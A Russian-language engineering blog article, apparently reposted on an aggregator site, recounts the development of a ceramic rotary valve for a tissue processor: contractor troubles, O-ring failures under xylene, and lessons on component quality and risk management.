При проработке концепта мы рассматривали несколько вариантов материала для этих дисков. Самые простые в исполнении, пластик и металл, имели свои недостатки. Пластик, даже фторопласт, царапался при попадании между дисками кристаллов соли из забуференного формалина и со временем сборка теряла герметичность. Металл имел ту же проблему, что и пластик, а также значительнее последнего расширялся при прогреве, да еще 2 прецизионно отполированных металлических диска, прижимаемых друг к другу пружиной, быстро прикипали друг к другу, даже при наличии между ними смазки.

Когда руки уже почти опустились, а проблема начала казаться нерешаемой, мне довелось съездить на выставку Medica/Compamed в Дюссельдорфе и подсмотреть у одного всемирно известного производителя инженерных решений для медицины и промышленности идею керамического ротационного клапана. К сожалению, у самого производителя не было в ассортименте таких клапанов с нужными нам характеристиками, поэтому от идеи разработать свой клапан я не отказался.

Горе-керамисты, убитое время и почти хэппи энд

На удивление легко оказалось найти в России производителя технической керамики, который взялся изготовить диски клапана по нашему заданию из оксида алюминия (искусственный корунд) методом шликерного литья. На выходе должно было получиться изделие твердостью 9 из 10 возможных по шкале Мооса, что значительно тверже практически любого солевого кристалла, имеющее низкий коэффициент температурного расширения, высокую химическую стойкость и минимальный риск прикипания двух компонентов друг к другу.

Заявленная стоимость и сроки производства необходимых нам изделий внушали осторожный оптимизм. Опыт взаимодействия с российскими производителями призывал не радоваться раньше времени и не зря.

Спустя заявленные в договоре на изготовление 3 месяца, началась борьба бобра с ослом. Производитель начал кормить нас завтраками, ссылаться на форс-мажоры, запой главного технолога, поломку фрезы для выточки пресс-формы и т.д. В таком режиме мы прожили еще около месяца и, наконец, мне на почту пришло долгожданное письмо: Изделия готовы, можете забирать. Моя радость была яркой, но длилась лишь до тех пор, пока транспортная компания не привезла мне груз. Диски оказались круглыми с выдержанными внешними размерами, но на этом их достоинства заканчивались. Практически все обнизки под посадку О-колец были в разной степени кривыми, в некоторых расхождение с чертежом было далеко за гранью приличия, про выдерживание допусков речи не шло вообще. Создалось впечатление, что на предоставленные нами чертежи подрядчик смотрел только в начале работы, да и то, издалека.

После недолгого, но очень содержательного диалога с керамистами они удалились читать чертежи и переделывать. Еще на месяц

Не вдаваясь в подробности, надо признать, что второй подход к снаряду нашему подрядчику удался гораздо лучше. За некоторым исключением изделия стали больше походить на то, что мы задумывали. Наступила долгожданная пора утомительных испытаний.

Рисунок 3. Диски ротационного клапана вживуюРисунок 3. Диски ротационного клапана вживую

Заключительный этап челленджа испытания

Мы собрали стенд с этим клапаном, разлили по ведрам химию, подключили нагревательные элементы и чиллер для аквариумов с креветками (!), чтобы более-менее воссоздать условия, при которых клапану пришлось бы трудиться в реальности и настроились на месяцы бесперебойной работы стенда, но Думаю, вы уже догадались, что оптимизм был недолгим.

Рисунок 4. Сборка ротационного клапана в стальном ложе со внешним окружениемРисунок 4. Сборка ротационного клапана в стальном ложе со внешним окружением

Беда пришла откуда не ждали. В изобилии доступные на российском рынке О-кольца из NBR и FKM/FPM/Viton, уплотняющие стационарный диск ротационного клапана, приказали долго жить. Первые после недели работы, вторые после трёх. Оказалось, что ксилол, перепады температур и механическая нагрузка делают даже из хваленого Viton труху за каких-то несколько недель.

Выход нашли достаточно быстро. Оказалось, что во всем цивилизованном мире уже давно для таких сложных задач используют уплотнительные кольца из перфторкаучука (другие названия FFKM, Kalrez), которые незначительно дороже упомянутых выше, но отменно работают в самых жестких условиях как-раз то, что нам нужно.

Оставлю для хоррор-публицистики проблемы с китайскими мотор-редукторами и уральскими патронными ТЭНами, которые у нас всплыли по дороге. Скажу лишь, что работая над данным проектом пообещал сам себе более не экономить на критически важных компонентах даже, если очень хочется.

Резюме

В качестве резюме этой хардкор-разработки выделяю несколько тезисов-рекомендаций:

  1. Не экономьте на компонентах. Чем в более сложных условиях должно работать ваше изделие, тем меньше должно быть ваше желание порезать косты. Дёшево = плохо, чудес не бывает.

  2. Работать с отечественными производителями сложно, но можно. Надо только придирчиво подходить к выбору подрядчика и стараться контролировать его на разных стадиях выполнения вашего заказа, а также заставлять почаще читать ваши чертежи.

  3. Если вы решились на п. 2, пропишите в контракте побольше штрафов, так у подрядчика будет больше стимулов сдать вам то, что вы хотите когда вы хотите.

  4. В общем, управляйте рисками. ISO 14971 вам в помощь.

Подробнее..

Категории

Последние комментарии

  • Имя: Murshin
    13.06.2024 | 14:01
    Нейросеть-это мозг вселенной.Если к ней подключиться,то можно получить все знания,накопленные Вселенной,но этому препятствуют аннуннаки.Аннуннаки нас от неё отгородили,установив в головах барьер. Подр Подробнее..
  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru